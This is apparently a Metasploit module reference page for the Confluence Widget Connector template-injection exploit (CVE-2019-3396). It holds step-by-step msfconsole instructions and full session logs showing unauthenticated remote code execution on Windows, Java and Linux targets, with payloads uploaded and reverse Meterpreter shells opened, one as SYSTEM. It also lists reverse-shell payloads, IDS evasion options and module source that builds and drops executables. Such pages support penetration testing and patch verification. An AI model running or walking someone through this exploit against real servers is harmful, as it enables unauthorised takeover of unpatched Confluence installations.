Atlassian Confluence Widget Connector Macro Velocity Template Injection - Metasploit
This page contains detailed information about how to use the exploit/multi/http/confluence_widget_connector metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
- Module Overview
- Knowledge Base
- Description
- Vulnerable Application
- Verification Steps
- Options
- Tested on Confluence 6.8.2 with Windows target
- Tested on Confluence 6.8.2 with Java target
- Tested on Confluence 6.8.2 with Linux target
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Atlassian Confluence Widget Connector Macro Velocity Template Injection
Module: exploit/multi/http/confluence_widget_connector
Source code: modules/exploits/multi/http/confluence_widget_connector.rb
Disclosure date: 2019-03-25
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8090, 8443, 8880, 8888
List of CVEs: CVE-2019-3396
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that allows embed online videos, slideshows, photostreams and more directly into page. A _template parameter can be used to inject remote Java code into a Velocity template, and gain code execution. Authentication is unrequired to exploit this vulnerability. By default, Java payload will be used because it is cross-platform, but you can also specify which native payload you want (Linux or Windows). Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. This vulnerability was originally discovered by Daniil Dmitriev https://twitter.com/ddv_ua.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/confluence_widget_connector
msf exploit(confluence_widget_connector) > show targets
... a list of targets ...
msf exploit(confluence_widget_connector) > set TARGET target-id
msf exploit(confluence_widget_connector) > show options
... show and set options ...
msf exploit(confluence_widget_connector) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SRVHOST: Callback address for template loading
Knowledge Base
Description
This module exploits a Velocity Template Injection in Atlassian Confluence Widget Connector Macro before 6.14.2 to execute arbitrary code (CVE-2019-3396). No authentication is required to exploit this vulnerability.
The vulnerability exists in the Widget Connector Macro which allow inject the "_template" from the outside for some services, such as Youtube, Viddler, DailyMotion, etc.
The module has been tested with on Atlassian Confluence 6.6.12, 6.8.2, 6.12.0 and 6.13.0 using Java, Windows and Linux meterpreter payload.
References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3396 https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
Vulnerable Application
Affecting Atlassian Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2.
Verification Steps
- [ ] Setting up a working installation of Atlassian Confluence before 6.6.13, 6.12.3, 6.12.3 or 6.14.2.
- [ ] Start
msfconsole
- [ ]
use exploit/multi/http/confluence_widget_connector
- [ ]
set RHOST <IP>
- [ ]
set RPORT <PORT>
- [ ]
set SRVHOST <HOST_IP>
- [ ]
check
- [ ] You should see
The target is vulnerable
- [ ]
exploit
- [ ] You should get a meterpreter session.
Options
- TARGETURI: Path to Atlassian Confluence installation ("/" is the default)
- TRIGGERURL: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=kxopViU98Xo" is the default)
Tested on Confluence 6.8.2 with Windows target
msf5 > use exploit/multi/http/confluence_widget_connector
msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com
RHOST => target.com
msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090
RPORT => 8090
msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf5 exploit(multi/http/confluence_widget_connector) > set TARGET Windows
TARGET => Windows
msf5 exploit(multi/http/confluence_widget_connector) > check
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
[+] target.com:8090 - The target is vulnerable.
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
msf5 exploit(multi/http/confluence_widget_connector) >
[*] target.com:8090 - Target being detected as: Windows 10
[*] target.com:8090 - Attempting to upload C:\PROGRA~1\Atlassian\Confluence\temp\gAdGh.exe
[*] target.com:8090 - Attempting to copy payload to C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe
[*] target.com:8090 - Attempting to execute C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe
[*] Sending stage (179779 bytes) to target.com
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:62528) at 2019-04-11 03:13:37 +0000
[*] target.com:8090 - Waiting for exploit to complete...
[!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\FFDBo.exe' on the target
[!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\JLzIZ.exe' on the target
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > quit
[*] Shutting down Meterpreter...
[*] target.com - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/http/confluence_widget_connector) >
Tested on Confluence 6.8.2 with Java target
msf5 > use exploit/multi/http/confluence_widget_connector
msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com
RHOST => target.com
msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090
RPORT => 8090
msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf5 exploit(multi/http/confluence_widget_connector) > check
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
[+] target.com:8090 - The target is vulnerable.
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
msf5 exploit(multi/http/confluence_widget_connector) >
[*] target.com:8090 - Target being detected as: Linux
[*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/EjpPf.jar
[*] target.com:8090 - Attempting to execute /opt/atlassian/confluence/temp/EjpPf.jar
[*] Sending stage (53866 bytes) to target.com
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:55690) at 2019-04-11 03:13:37 +0000
[+] target.com:8090 -Deleted /opt/atlassian/confluence/temp/EjpPf.jar
[*] target.com:8090 - Waiting for exploit to complete...
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: confluence
meterpreter > quit
[*] Shutting down Meterpreter...
[*] target.com - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/http/confluence_widget_connector) >
Tested on Confluence 6.8.2 with Linux target
msf5 > use exploit/multi/http/confluence_widget_connector
msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com
RHOST => target.com
msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090
RPORT => 8090
msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf5 exploit(multi/http/confluence_widget_connector) > check
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
[+] target.com:8090 - The target is vulnerable.
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.1:4444
[*] target.com:8090 - Starting the FTP server.
[*] target.com:8090 - Started service listener on 192.168.0.1:8021
msf5 exploit(multi/http/confluence_widget_connector) >
[*] target.com:8090 - Target being detected as: Linux
[*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/BYHzD
[*] target.com:8090 - Attempting to copy payload to /opt/atlassian/confluence/temp/dESMnt
[*] target.com:8090 - Attempting to execute /opt/atlassian/confluence/temp/dESMnt
[*] Sending stage (985320 bytes) to target.com
[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:55690) at 2019-04-11 03:13:37 +0000
[+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/BYHzD
[+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/dESMnt
[*] target.com:8090 - Waiting for exploit to complete...
[*] target.com:8090 - Server stopped.
msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: uid=1001, gid=1001, euid=1001, egid=1001
meterpreter > quit
[*] Shutting down Meterpreter...
[*] target.com - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/http/confluence_widget_connector) >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/confluence_widget_connector exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/confluence_widget_connector
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/confluence_widget_connector) > show info
Name: Atlassian Confluence Widget Connector Macro Velocity Template Injection
Module: exploit/multi/http/confluence_widget_connector
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-03-25
Provided by:
Daniil Dmitriev
Dmitry (rrock) Shchannikov
Available targets:
Id Name
-- ----
0 Java
1 Windows
2 Linux
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASVPORT 0 no The local PASV data port to listen on (0 is random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8090 yes The target port (TCP)
SRVHOST yes Callback address for template loading
SRVPORT 8021 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base to Confluence
TRIGGERURL https://www.youtube.com/watch?v=kxopViU98Xo yes Url to external video service to trigger vulnerability
VHOST no HTTP server virtual host
Payload information:
Description:
Widget Connector Macro is part of Atlassian Confluence Server and
Data Center that allows embed online videos, slideshows,
photostreams and more directly into page. A _template parameter can
be used to inject remote Java code into a Velocity template, and
gain code execution. Authentication is unrequired to exploit this
vulnerability. By default, Java payload will be used because it is
cross-platform, but you can also specify which native payload you
want (Linux or Windows). Confluence before version 6.6.12, from
version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and
from version 6.14.0 before 6.14.2 are affected. This vulnerability
was originally discovered by Daniil Dmitriev
https://twitter.com/ddv_ua.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-3396
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/
https://paper.seebug.org/886/
Module Options
This is a complete list of options available in the multi/http/confluence_widget_connector exploit:
msf6 exploit(multi/http/confluence_widget_connector) > show options
Module options (exploit/multi/http/confluence_widget_connector):
Name Current Setting Required Description
---- --------------- -------- -----------
PASVPORT 0 no The local PASV data port to listen on (0 is random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8090 yes The target port (TCP)
SRVHOST yes Callback address for template loading
SRVPORT 8021 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base to Confluence
TRIGGERURL https://www.youtube.com/watch?v=kxopViU98Xo yes Url to external video service to trigger vulnerability
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java
Advanced Options
Here is a complete list of advanced options supported by the multi/http/confluence_widget_connector exploit:
msf6 exploit(multi/http/confluence_widget_connector) > show advanced
Module advanced options (exploit/multi/http/confluence_widget_connector):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/confluence_widget_connector module can exploit:
msf6 exploit(multi/http/confluence_widget_connector) > show targets
Exploit targets:
Id Name
-- ----
0 Java
1 Windows
2 Linux
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/confluence_widget_connector exploit:
msf6 exploit(multi/http/confluence_widget_connector) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/confluence_widget_connector exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/confluence_widget_connector) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Connection timed out in #inject_template
- widget-error
- Failed to inject and execute code
- Unable to get the temp path.
- Unable to find java home path on the remote machine.
- Unable to get the temp path.
- Unable to get the temp path.
- Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".
- Selected module target does not match the actual target.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection timed out in #inject_template
Here is a relevant code snippet related to the "Connection timed out in #inject_template" error message:
224: }.to_json
225: }, timeout=timeout)
226:
227: unless res
228: unless service_url.include?("exec.vm")
229: print_warning('Connection timed out in #inject_template')
230: end
231: return
232: end
233:
234: if res.body.include? 'widget-error'
widget-error
Here is a relevant code snippet related to the "widget-error" error message:
229: print_warning('Connection timed out in #inject_template')
230: end
231: return
232: end
233:
234: if res.body.include? 'widget-error'
235: print_error('Failed to inject and execute code:')
236: else
237: vprint_status("Server response:")
238: end
239:
Failed to inject and execute code
Here is a relevant code snippet related to the "Failed to inject and execute code" error message:
230: end
231: return
232: end
233:
234: if res.body.include? 'widget-error'
235: print_error('Failed to inject and execute code:')
236: else
237: vprint_status("Server response:")
238: end
239:
240: vprint_line(res.body)
Unable to get the temp path.
Here is a relevant code snippet related to the "Unable to get the temp path." error message:
326: def exploit_as_java
327:
328: tmp_path = get_tmp_path
329:
330: if tmp_path.blank?
331: fail_with(Failure::Unknown, 'Unable to get the temp path.')
332: end
333:
334: @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
335: @b64 = Rex::Text.encode_base64(payload.encoded_jar)
336: @command = ''
Unable to find java home path on the remote machine.
Here is a relevant code snippet related to the "Unable to find java home path on the remote machine." error message:
336: @command = ''
337:
338: java_home = get_java_home_path
339:
340: if java_home.blank?
341: fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
342: else
343: vprint_status("Found Java home path: #{java_home}")
344: end
345:
346: register_files_for_cleanup(@fname)
Unable to get the temp path.
Here is a relevant code snippet related to the "Unable to get the temp path." error message:
367: # @return [void]
368: def exploit_as_windows
369: tmp_path = get_tmp_path
370:
371: if tmp_path.blank?
372: fail_with(Failure::Unknown, 'Unable to get the temp path.')
373: end
374:
375: @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
376: @fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
377: new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
Unable to get the temp path.
Here is a relevant code snippet related to the "Unable to get the temp path." error message:
396: # @return [void]
397: def exploit_as_linux
398: tmp_path = get_tmp_path
399:
400: if tmp_path.blank?
401: fail_with(Failure::Unknown, 'Unable to get the temp path.')
402: end
403:
404: @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
405: @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
406: new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".
Here is a relevant code snippet related to the "Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check"." error message:
427: print_status("Starting the FTP server.")
428: start_service
429:
430: target_platform = get_target_platform
431: if target_platform.empty?
432: fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
433: else
434: print_status("Target being detected as: #{target_platform}")
435: end
436:
437: unless target_platform_compat?(target_platform)
Selected module target does not match the actual target.
Here is a relevant code snippet related to the "Selected module target does not match the actual target." error message:
433: else
434: print_status("Target being detected as: #{target_platform}")
435: end
436:
437: unless target_platform_compat?(target_platform)
438: fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
439: end
440:
441: case target.name.downcase
442: when /java$/
443: exploit_as_java
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12013 Merged Pull Request: Make SRVHOST the callback address in confluence_widget_connector
- #11760 Merged Pull Request: Fix URL and revert "automatic module_metadata_base.json update"
- #11717 Merged Pull Request: Atlassian Confluence RCE exploit (CVE-2019-3396)
References
- CVE-2019-3396
- https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
- https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/
- https://paper.seebug.org/886/
See Also
Check also the following modules related to this module:
- exploit/linux/http/atlassian_confluence_webwork_ognl_injection
- exploit/multi/http/atlassian_confluence_namespace_ognl_injection
- exploit/multi/http/atlassian_confluence_webwork_ognl_injection
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
- exploit/multi/http/totaljs_cms_widget_exec
- exploit/multi/http/vbulletin_widgetconfig_rce
- exploit/multi/http/vbulletin_widget_template_rce
- exploit/linux/http/trendmicro_imsva_widget_exec
- exploit/windows/http/trendmicro_officescan_widget_exec
Related Nessus plugins:
- Atlassian Confluence < 6.6.12 / 6.7.x < 6.12.3 / 6.13.x < 6.13.3 / 6.14.x < 6.14.2 Multiple Vulnerabilities
- Atlassian Confluence < 6.6.12 / 6.7.x < 6.12.3 / 6.13.x < 6.13.3 / 6.14.x < 6.14.2 Template Injection
Authors
- Daniil Dmitriev
- Dmitry (rrock) Shchannikov
Version
This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.